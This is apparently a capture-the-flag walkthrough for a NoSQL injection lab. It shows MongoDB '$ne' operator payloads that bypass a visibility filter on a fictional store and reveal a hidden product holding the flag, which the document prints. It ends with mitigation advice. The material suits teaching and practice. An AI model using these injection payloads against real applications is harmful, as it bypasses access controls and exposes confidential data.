This challenge has a realistic security implementation where normal visibility filters work correctly, but there's a confidential product that can only be accessed through a specific $ne operator vulnerability. The key is understanding that the application allows legitimate visibility queries but has a special case for the $ne operator.

1. Access the application: Navigate to <target-ip> to see TechStore
2. Test basic search: Search for products like "MacBook" or "iPad"
3. Find the Advanced Search section: Look for the blue "Advanced Search (Power Users)" box
4. Test normal visibility filters: Try the working examples

Working Normal Queries:
{"category": "electronics"}        // Returns electronics products
{"visibility": "public"}          // Returns all public products
{"visibility": "internal"}        // Returns internal test product
{"visibility": {"$eq": "internal"}} // Also works with $eq operator

1. Test direct confidential access: Try to access confidential products directly

Blocked Queries:
{"visibility": "confidential"}      // Blocked - returns public only
{"visibility": "v_confidential"}   // Blocked - returns public only
{"visibility": {"$eq": "v_confidential"}} // Also blocked

2. Test other injection attempts: Try common NoSQL injection vectors

Other Blocked Attempts:
{"price": {"$gt": 1000}}           // No confidential products
{"price": {"$ne": 1000}}           // $ne on price doesn't work
{"category": {"$ne": "electronics"}} // $ne on category doesn't work

1. Test $ne on the visibility field: The key vulnerability

The Working Payload:
{"visibility": {"$ne": "public"}}

2. Execute the query: Use the advanced query field
3. Observe the results: This returns 2 products:

• Development Test Product (visibility: internal)
• Admin Hidden Flag (visibility: v_confidential) ← This is the target!

Visual Identification

The confidential flag product has distinctive styling that makes it easy to identify:

• Purple border: 3px solid purple border (#6f42c1)
• Gradient background: Light gray to white gradient
• Purple shadow: Glowing purple drop shadow
• Confidential badge: "🔒 CONFIDENTIAL" badge in top-right corner
• Product name: "Admin Hidden Flag"
• Price: $3,299.99

Extracting the Flag

1. Look for the purple-styled product card
2. Read the product description: "Flag: f4c46a22-8a77-4ba9-a7d1-1910bbcfd0af"

Other Working Payloads

These alternative $ne values also work to reveal the confidential product:

{"visibility": {"$ne": "internal"}}    // Works
{"visibility": {"$ne": "private"}}     // Works
{"visibility": {"$ne": "restricted"}}  // Works
{"visibility": {"$ne": "hidden"}}      // Works
{"visibility": {"$ne": null}}          // Works
{"visibility": {"$ne": ""}}            // Works

All of these work because they use the $ne operator on the visibility field, which is the specific vulnerability in the application's security logic.

Technical Explanation

The application implements this security logic:

Application Security Logic:
if (visibility field uses $ne operator) {
    // Special case: allow access to confidential products
    return all_matching_products
} else if (trying to access v_confidential directly) {
    // Block direct access
    return public_products_only
} else {
    // Allow normal visibility filtering but exclude confidential
    return requested_visibility + exclude_confidential
}

• Vulnerability: The $ne operator on visibility field is treated as a special case
• Normal queries: Work fine for public/internal but block confidential access
• $ne exploitation: Bypasses the confidential product restriction
• Field-specific: Only works on the visibility field, not other fields like price

Step-by-Step Attack

1. Access TechStore: Navigate to the e-commerce platform
2. Find Advanced Search: Locate the advanced query interface
3. Test normal functionality: Verify that basic searches work
4. Attempt direct confidential access: Confirm it's blocked
5. Use $ne operator: Execute {"visibility": {"$ne": "public"}}
6. Identify flag product: Look for purple-styled "Admin Hidden Flag"
7. Extract flag: Read the description for the flag value

Complete Exploit:
1. Navigate to <target-ip>
2. Use Advanced Search: {"visibility": {"$ne": "public"}}
3. Find purple "Admin Hidden Flag" product
4. Extract: f4c46a22-8a77-4ba9-a7d1-1910bbcfd0af

• Consistent operator handling: Apply the same security logic to all MongoDB operators
• Explicit access control: Don't rely on query filtering for security
• Operator validation: Validate which operators are allowed on which fields
• Defense in depth: Implement multiple layers of access control
• Database-level security: Use proper MongoDB access controls and roles
• Input sanitization: Never allow direct JSON query injection from user input
• Security testing: Test all operator combinations during security reviews

This NoSQL injection challenge demonstrates how subtle differences in operator handling can create security vulnerabilities. While the application correctly implements access controls for most scenarios, the special handling of the $ne operator on the visibility field creates a bypass that allows access to confidential data. The challenge teaches the importance of consistent security implementation across all operators and the need for comprehensive testing of NoSQL query interfaces. The distinctive purple styling of the confidential product makes it easy to identify when the exploit succeeds, providing clear visual feedback for learning purposes.